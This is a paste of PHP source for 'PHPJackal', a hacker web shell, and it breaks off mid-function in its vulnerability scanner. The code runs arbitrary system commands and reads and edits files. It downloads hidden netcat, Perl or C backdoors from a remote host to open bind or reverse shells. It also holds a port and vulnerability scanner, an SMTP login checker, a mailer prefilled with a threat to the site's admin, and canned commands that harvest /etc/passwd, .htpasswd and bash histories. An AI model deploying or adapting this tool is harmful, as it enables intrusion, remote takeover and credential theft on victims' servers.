PHPJackal - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 7:32 a.m.

FORMAT: PHP

SIZE: 108.1 kB

HITS: 805

  1. <?php
  2. #--Config--#
  3. $login_password= ''; //Set password
  4. #----------#
  5. error_reporting(E_ALL);
  6. set_time_limit(0);
  7. ini_set("max_execution_time","0");
  8. ini_set("memory_limit","9999M");
  9. set_magic_quotes_runtime(0);
  10. if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
  11. if(!isset($_POST))$_POST = &$HTTP_POST_VARS;
  12. if(!isset($_GET))$_GET = &$HTTP_GET_VARS;
  13. if(!isset($_COOKIE))$_COOKIE=$HTTP_COOKIE_VARS;
  14. $_REQUEST = array_merge($_GET, $_POST);
  15. if (get_magic_quotes_gpc()){
  16. foreach ($_REQUEST as $key=>$value)
  17. {
  18. $_REQUEST[$key]=stripslashes($value);
  19. }
  20. }
  21. function hlinK($str=""){
  22. $myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
  23. $ret=$_SERVER['PHP_SELF']."?";
  24. $new=explode("&",$str);
  25. foreach ($_GET as $key => $v){
  26. $add=1;
  27. foreach($new as $m){
  28. $el = explode("=", $m);
  29. if ($el[0]==$key)$add=0;
  30. }
  31. if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
  32. }
  33. $ret.=$str;
  34. return $ret;
  35. }
  36. if(!empty($login_password)){
  37. if(!empty($_REQUEST['fpassw'])){
  38. if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
  39. @header("Location: ".hlinK());
  40. }
  41. if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></td></tr></form></table></body></html>");
  42. }
  43. if (!empty($_REQUEST['workingdiR'])) chdir($_REQUEST['workingdiR']);
  44. function checkthisporT($ip,$port,$timeout,$type=0){
  45. if(!$type){
  46. $scan=@fsockopen($ip,$port,$n,$s,$timeout);
  47. if($scan){fclose($scan);return 1;}
  48. }
  49. elseif(function_exists('socket_set_timeout')){
  50. $scan=@fsockopen("udp://".$ip,$port);
  51. if($scan){
  52. socket_set_timeout($scan,$timeout);
  53. @fwrite($scan,"\x00");
  54. $s=time();
  55. fread($scan,1);
  56. if((time()-$s)>=$timeout){fclose($scan);return 1;}
  57. }
  58. }
  59. return 0;
  60. }
  61. if (!function_exists("file_get_contents")){
  62. function file_get_contents($addr){
  63. $a = fopen($addr,"r");
  64. $tmp = fread($a,filesize($a));
  65. fclose($a);
  66. if($a)return $tmp;
  67. }
  68. }
  69. if (!function_exists("file_put_contents")){
  70. function file_put_contents($addr,$con){
  71. $a = fopen($addr,"w");
  72. if(!$a)return 0;
  73. fwrite($a,$con);
  74. fclose($a);
  75. return strlen($con);
  76. }
  77. }
  78. function flusheR(){
  79. flush();@ob_flush();
  80. }
  81. if (!empty($_REQUEST['downloaD'])){
  82. @ob_clean();
  83. $dl=$_REQUEST['downloaD'];
  84. $con=file_get_contents($dl);
  85. header("Content-type: application/octet-stream");
  86. header("Content-disposition: attachment; filename=\"$dl\";");
  87. header("Content-length: ".strlen($con));
  88. echo $con;
  89. exit;
  90. }
  91. if (!empty($_REQUEST['imagE'])){
  92. $img=$_REQUEST['imagE'];
  93. header("Content-type: imagE/gif");
  94. header("Content-length: ".filesize($img));
  95. header("Last-Modified: ".date("r",filemtime($img)));
  96. echo file_get_contents($img);
  97. exit;
  98. }
  99. @header("Cache-Control: no-cache, must-revalidate");
  100. @header("Expires: Mon, 7 Aug 1987 05:00:00 GMT");
  101. function showsizE($size){
  102. if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB";
  103. elseif ($size>=1048576)$size = round(($size/1048576),2)." MB";
  104. elseif ($size>=1024)$size = round(($size/1024),2)." KB";
  105. else $size .= " B";
  106. return $size;
  107. }
  108. if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0;
  109. $errorbox = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td><b>Error: </b>";
  110. $et = "</td></tr></table>";
  111. $v="1.5";
  112. $msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td align=\"center\">";
  113. $intro="<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"><tr><td bgcolor=\"#666666\"><b>Script:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> NetJackal<br><b>Country:</b> Iran<br><b>Website:</b> <a href=\"http://netjackal.by.ru\" target=\"_blank\">http://netjackal.by.ru</a><br><b>Email:</b> <a href=\"mailto:nima_501@yahoo.com?subject=PHPJackal\">nima_501@yahoo.com</a><br></font>$et</center>";
  114. $footer="${msgbox}PHPJackal v$v - Powered By <a href=\"http://netjackal.by.ru\" target=\"_blank\">NetJackal</a>$et";
  115. $hcwd="<input type=hidden name=workingdiR value=\"".getcwd()."\">";
  116. $t = "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">";
  117. $crack="</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
  118. function namE(){
  119. $name='';
  120. srand((double)microtime()*100000);
  121. for ($i=0;$i<=rand(3,10);$i++){
  122. $name.=chr(rand(97,122));
  123. }
  124. return $name;
  125. }
  126. function whereistmP(){
  127. $uploadtmp=ini_get('upload_tmp_dir');
  128. $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
  129. if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
  130. if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
  131. if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
  132. if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
  133. if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
  134. return ".";
  135. }
  136. function shelL($command){
  137. global $windows,$disablefunctions;
  138. $exec = '';$output= '';
  139. $dep[]=array('pipe','r');$dep[]=array('pipe','w');
  140. if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
  141. elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
  142. elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
  143. elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
  144. elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
  145. elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
  146. elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
  147. return $exec;
  148. }
  149. function downloadiT($get,$put){
  150. $fo=@strtolower(ini_get('allow_url_fopen'));
  151. if($fo || $fo=='on')$con=file_get_contents($get);
  152. else{
  153. $u=parse_url($get);
  154. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  155. $url=fsockopen($host, 80, $en, $es, 12);
  156. fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  157. $tmp=$con='';
  158. while($tmp!="\r\n")$tmp=fgets($url);
  159. while(!feof($url))$con.=fgets($url);
  160. }
  161. $mk=file_put_contents($put,$con);
  162. if($mk)return 1;
  163. return 0;
  164. }
  165. function smtplogiN($addr,$user,$pass,$timeout){
  166. $sock=fsockopen($addr,25,$n,$s,$timeout);
  167. if(!$sock)return -1;
  168. fread($sock,1024);
  169. fputs($sock,'ehlo '.namE()."\r\n");
  170. $res=substr(fgets($sock,512),0,1);
  171. if($res!='2')return 0;
  172. fgets($sock,512);fgets($sock,512);fgets($sock,512);
  173. fputs($sock,"AUTH LOGIN\r\n");
  174. $res=substr(fgets($sock,512),0,3);
  175. if($res!='334')return 0;
  176. fputs($sock,base64_encode($user)."\r\n");
  177. $res=substr(fgets($sock,512),0,3);
  178. if($res!='334')return 0;
  179. fputs($sock,base64_encode($pass)."\r\n");
  180. $res=substr(fgets($sock,512),0,3);
  181. if($res!='235')return 0;
  182. return 1;
  183. }
  184. function checksmtP($host,$timeout){
  185. $from=strtolower(namE())."@".strtolower(namE()).".com";
  186. $sock=@fsockopen($host,25,$n,$s,$timeout);
  187. if(!$sock)return -1;
  188. $res=substr(fgets($sock,512),0,3);
  189. if($res!='220')return 0;
  190. fputs($sock,'HELO '.namE()."\r\n");
  191. $res=substr(fgets($sock,512),0,3);
  192. if($res!='250')return 0;
  193. fputs($sock,"MAIL FROM: <$from>\r\n");
  194. $res=substr(fgets($sock,512),0,3);
  195. if($res!='250')return 0;
  196. fputs($sock,"RCPT TO: <contact@persianblog.com>\r\n");
  197. $res=substr(fgets($sock,512),0,3);
  198. if($res!='250')return 0;
  199. fputs($sock,"DATA\r\n");
  200. $res=substr(fgets($sock,512),0,3);
  201. if($res!='354')return 0;
  202. fputs($sock,"From: ".namE()." ".namE()." <$from>\r\nSubject: ".namE()."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".namE().namE().namE()."\r\n.\r\n");
  203. $res=substr(fgets($sock,512),0,3);
  204. if($res!='250')return 0;
  205. return 1;
  206. }
  207. function check_urL($url,$method,$search,$timeout){
  208. if(empty($search))$search='200';
  209. $u=parse_url($url);
  210. $method=strtoupper($method);
  211. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  212. $data=(!empty($u['query']))?$u['query']:'';
  213. if(!empty($data))$data="?$data";
  214. $sock=@fsockopen($host,80,$en,$es,$timeout);
  215. if($sock){
  216. fputs($sock,"$method $file$data HTTP/1.0\r\n");
  217. fputs($sock,"Host: $host\r\n");
  218. if($method=='GET')fputs($sock,"\r\n");
  219. elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
  220. else return 0;
  221. if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;}
  222. while(!feof($sock)){
  223. $res=trim(fgets($sock));
  224. if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
  225. }
  226. fclose($sock);
  227. }
  228. return 0;
  229. }
  230. function get_sw_namE($host,$timeout){
  231. $sock=@fsockopen($host,80,$en,$es,$timeout);
  232. if($sock){
  233. $page=namE().namE();
  234. fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
  235. while(!feof($sock)){
  236. $con=fgets($sock);
  237. if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
  238. }
  239. fclose($sock);
  240. return -1;
  241. }return 0;
  242. }
  243. function snmpchecK($ip,$com,$timeout){
  244. $res=0;
  245. $n=chr(0x00);
  246. $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)).
  247. $com. chr(0xA0).
  248. chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n.
  249. chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C).
  250. chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01).
  251. chr(0x01). chr(0x01). $n. chr(0x05). $n;
  252. $sock=@fsockopen("udp://$ip",161);
  253. socket_set_timeout($sock,$timeout);
  254. @fputs($sock,$packet);
  255. socket_set_timeout($sock,$timeout);
  256. $res=fgets($sock);
  257. fclose($sock);
  258. return $res;
  259. }
  260. $safemode=(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on')?'ON':'OFF';
  261. if($safemode=="ON"){@ini_restore("safe_mode");@ini_restore("open_basedir");}
  262. $disablefunctions = @ini_get('disable_functions');
  263. if (!function_exists("str_repeat")){
  264. function str_repeat($str,$c){
  265. $r="";
  266. for($i=0; $i < $cu; $i++)$r.=$str;
  267. return $r;
  268. }
  269. }
  270. function brshelL(){
  271. global $errorbox, $windows,$et,$hcwd;
  272. $_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
  273. $addr='http://netjackal.by.ru/backdoor';
  274. $error="$errorbox Can not make backdoor file, go to writeable folder.$et";
  275. $n=namE();
  276. if(!$windows)$n=".$n";
  277. $d=whereistmP();
  278. $name=$d.DIRECTORY_SEPARATOR.$n;
  279. $perl=(!$windows && shelL('which perl'))?$perl=shelL('which perl'):'perl';
  280. $c=($_REQUEST['C'])?1:0;
  281. if (!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1) ){
  282. $port=(int)$_REQUEST['port'];
  283. if($windows){
  284. if($c){
  285. $name.=".exe";
  286. $bd=downloadiT("$addr/nc.exe",$name);
  287. shelL("attrib +H $name");
  288. if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
  289. }else{
  290. $name = $name.".pl";
  291. $bd=downloadiT("$addr/winbind.pl",$name);
  292. shelL("attrib +H $name");
  293. if(!$bd)echo $error;else shelL("perl.exe $name $port");
  294. }
  295. }
  296. else{
  297. if($c){
  298. $bd=downloadiT("$addr/bind.c",$name);
  299. if (!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
  300. }else{
  301. $bd=downloadiT("$addr/bind.pl",$name);
  302. if (!$bd)echo $error; else shelL("cd $d;$perl $n $port &");
  303. echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
  304. }
  305. }
  306. }
  307. elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
  308. $ip=$_REQUEST['ip'];
  309. $port=(int)$_REQUEST['rport'];
  310. if($windows){
  311. if($c){
  312. $name.='.exe';
  313. $bd=downloadiT("$addr/nc.exe",$name);
  314. shelL("attrib +H $name");
  315. if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
  316. }else{
  317. $name = $name.".pl";
  318. $bd=downloadiT("$addr/winrc.pl",$name);
  319. shelL("attrib +H $name");
  320. if (!$bd)echo $error; else shelL("perl.exe $name $ip $port");
  321. }
  322. }
  323. else{
  324. if($c){
  325. $bd=downloadiT("$addr/rc.c",$name);
  326. if(!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
  327. }else{
  328. $bd=downloadiT("$addr/rc.pl",$name);
  329. if(!$bd)echo $error;else shelL("cd $d;$perl $n $ip $port &");
  330. }
  331. }
  332. echo "<font color=blue>Done!</font>";}
  333. else{echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"50%\" bgcolor=\"#333333\">Bind shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=port value=55501 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input type=submit class=buttons value=Bind></td></tr></form></table></td><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"40%\" bgcolor=\"#333333\">Reverse shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#808080\">IP:</td><td bgcolor=\"#808080\"><input type=text name=ip value=";echo $_SERVER["REMOTE_ADDR"]; echo " size=17></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=rport value=53 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Connect></td></tr></form></table>$et";}}
  334. function showimagE($img){
  335. echo "<center><img border=0 src=\"".hlinK("imagE=$img&&workingdiR=".getcwd())."\"></center>";}
  336. function editoR($file){
  337. global $errorbox,$et,$hcwd;
  338. if (is_file($file)){
  339. if (!is_readable($file)){echo "$errorbox File is not readable$et<br>";}
  340. if (!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";}
  341. $data = file_get_contents($file);
  342. echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\">$hcwd<input type=text value=\"".htmlspecialchars($file)."\" size=75 name=file><input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"64\">";
  343. echo htmlspecialchars($data);
  344. echo "</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"$file\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">";
  345. }
  346. else {echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\"><input type=text value=\"".getcwd()."\" size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"63\"></textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"".getcwd()."\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">";
  347. }
  348. echo "$hcwd<input type=submit class=buttons name=Save value=Save></td></form></tr></table></center>";
  349. }
  350. function webshelL(){
  351. global $windows,$hcwd;
  352. if($windows){
  353. $alias="<option value=\"netstat -an\">Display open ports</option><option value=\"tasklist\">List of processes</option><option value=\"systeminfo\">System information</option><option value=\"ipconfig /all\">IP configuration</option><option value=\"getmac\">Get MAC address</option><option value=\"net start\">Services list</option><option value=\"net view\">Machines in domain</option><option value=\"net user\">Users list</option><option value=\"gpresult\">Group policy</option><option value=\"shutdown -s -f -t 1\">Turn off the server</option>";
  354. }
  355. else{
  356. $alias="<option value=\"netstat -an | grep -i listen\">Display open ports</option><option value=\"last -a -n 250 -i\">Show last 250 logged in users</option><option value=\"which wget curl lynx w3m\">Downloaders</option><option value=\"find / -perm -2 -type d -print\">Find world-writable directories</option><option value=\"find . -perm -2 -type d -print\">Find world-writable directories(in current directory)</option><option value=\"find / -perm -2 -type f -print\">Find world-writable files</option><option value=\"find . -perm -2 -type f -print\">Find world-writable files(in current directory)</option><option value=\"find / -type f -perm 04000 -ls\">Find files with SUID bit set</option><option value=\"find / -type f -perm 02000 -ls\">Find files with SGID bit set</option><option value=\"find / -name .htpasswd -type f\">Find .htpasswd files</option><option value=\"find / -type f -name .bash_history\">Find .bash_history files</option><option value=\"cat /etc/syslog.conf\">View syslog.conf</option><option value=\"cat cat /etc/hosts\">View hosts</option><option value=\"ps auxw\">List of processes</option>";
  357. if(is_dir('/etc/valiases'))$alias.="<option value=\"ls -l /etc/valiases\">List of Cpanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value=\"ls -l /etc/vdomainaliases\">List Cpanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value=\"cat /var/cpanel/accounting.log\">Display Cpanel`s log</option>";
  358. if(is_dir('/var/spool/mail/'))$alias.="<option value=\"ls /var/spool/mail/\">Mailboxes list</option>";
  359. }
  360. echo "<center><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=82 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><tr><td><b>Web Shell:</b></td></tr><td bgcolor=\"#666666\"><textarea rows=\"22\" cols=\"78\">";
  361. if (!empty($_REQUEST['cmd'])) echo shelL($_REQUEST['cmd']);
  362. echo"</textarea></td></tr><form method=post><tr><td bgcolor=\"#808080\"><input type=text size=91 name=cmd value=\"";if (!empty($_REQUEST['cmd'])) echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows) echo "cat /etc/passwd";echo "\">$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor=\"#808080\"><select name=\"cmd\" width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></table><center>";
  363. }
  364. function maileR(){
  365. global $msgbox,$et,$hcwd;
  366. $cwd= getcwd();
  367. if (!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
  368. $to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
  369. if (!mail($to,$subject,$body,"From: $from"))break;
  370. echo "$msgbox<b>Mail sent!</b><br>$et";
  371. }
  372. echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td><b>Mailer:</b></td></tr><td width=\"20%\" bgcolor=\"#666666\">SMTP</td><td bgcolor=\"#666666\">".ini_get('SMTP')." (".ini_get('smtp_port').")</td></tr><tr><td bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\"><input name=from type=text value=\"evil@hell.gov\" size=55>$hcwd</td><tr><td width=\"25%\" bgcolor=\"#666666\">To:</td><td bgcolor=\"#666666\"><input name=to type=text value=\""; if (!empty($_REQUEST['to'])) echo htmlspecialchars($_REQUEST['to']); elseif(!empty($_ENV["SERVER_ADMIN"])) echo $_ENV["SERVER_ADMIN"];else echo "admin@".getenv('HTTP_HOST'); echo "\" size=55></td></tr><tr><td bgcolor=\"#808080\">Subject:</td><td bgcolor=\"#808080\"><input name=subject type=text value=\"YOUR SERVER HAS BEED HACKED :-P\" size=55></td><tr><td bgcolor=\"#666666\">Body:</td><td bgcolor=\"#666666\"><textarea rows=\"18\" cols=\"43\" name=body>Admin, your system has been hacked! if you don`t seCure it, next time i`ll format your box.</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=\"right\"><input type=submit class=buttons value=Send></form>$et";
  373. }
  374. function scanneR(){
  375. global $hcwd;
  376. if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1";
  377. $udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
  378. if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
  379. $target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0;
  380. echo "<font color=blue>Port scanning started against ".htmlspecialchars($target).":<br>";
  381. $start=time();
  382. for($i=$from;$i<=$to;$i++){
  383. if($tcp){
  384. if (checkthisporT($target,$i,$timeout)){
  385. $nu++;
  386. $ser="";
  387. if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")";
  388. echo "$nu) $i $ser (<a href=\"telnet://$target:$i\">Connect</a>) [TCP]<br>";
  389. }
  390. }
  391. if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]<br>";}
  392. flusheR();
  393. }
  394. $time=time()-$start;
  395. echo "Done! ($time seconds)</font>";
  396. }
  397. elseif (!empty($_REQUEST['securityscanner'])){
  398. echo "<font color=blue>";
  399. $start=time();
  400. $from=$_REQUEST['from'];
  401. $to=(int)$_REQUEST['to'];
  402. $timeout=(int)$_REQUEST['timeout'];
  403. $f = substr($from,strrpos($from,".")+1);
  404. $from = substr($from,0,strrpos($from,"."));
  405. if(!empty($_REQUEST['httpscanner'])){
  406. echo "Loading webserver bug list...";
  407. flusheR();
  408. $buglist=whereistmP().DIRECTORY_SEPARATOR.namE();
  409. $dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
  410. if($dl){$file=file($buglist);echo "Done! scanning started.<br><br>";}else echo "Failed!!! scanning started without webserver security testing...<br><br>";
  411. flusheR();
  412. }else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:<br><br>";}
  413. for($i=$f;$i<=$to;$i++){
  414. $output=0;
  415. $ip="$from.$i";
  416. if(!empty($_REQUEST['nslookup'])){
  417. $hn=gethostbyaddr($ip);
  418. if($hn!=$ip)echo "$ip [$hn]<br>";}
  419. flusheR();
  420. if(!empty($_REQUEST['ipscanner'])){
  421. $port=$_REQUEST['port'];
  422. if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port;
  423. $open=$ser="";
  424. foreach($p as $po){
  425. $scan=checkthisporT($ip,$po,$timeout);
  426. if ($scan){
  427. $ser="";
  428. if($ser=getservbyport($po,"tcp"))$ser="($ser)";
  429. $open.=" $po$ser ";
  430. }
  431. }
  432. if($open){echo "$ip) Open ports:$open<br>";$output=1;}
  433. flusheR();
  434. }
  435. if(!empty($_REQUEST['httpbanner'])){
  436. $res=get_sw_namE($ip,$timeout);
  437. if($res){
  438. echo "$ip) Webserver software: ";
  439. if($res==-1)echo "Unknow";
  440. else echo $res;
  441. echo "<br>";
  442. $output=1;
  443. }
  444. flusheR();
  445. }
  446. if(!empty($_REQUEST['httpscanner'])){
  447. if(checkthisporT($ip,80,$timeout) && !empty($file)){
  448. $admin=array('/admin/','/adm/');
  449. $users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
  450. $nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
  451. $cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
  452. foreach ($file as $v){
  453. $vuln=array();
  454. $v=trim($v);
  455. if(!$v || $v{0}=='#')continue;
  456. $v=str_replace('","','^',$v);
  457. $v=str_replace('"','',$v);
  458. $vuln=explode('^',$v);
  459. $page=$cqich=$nukech=$adminch=$userch=$vuln[1];
  460. if(strstr($page,'@CGIDIRS'))
  461. foreach($cgi as $cg){
  462. $cqich=str_replace('@CGIDIRS',$cg,$page);
  463. $url="http://$ip$cqich";
  464. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
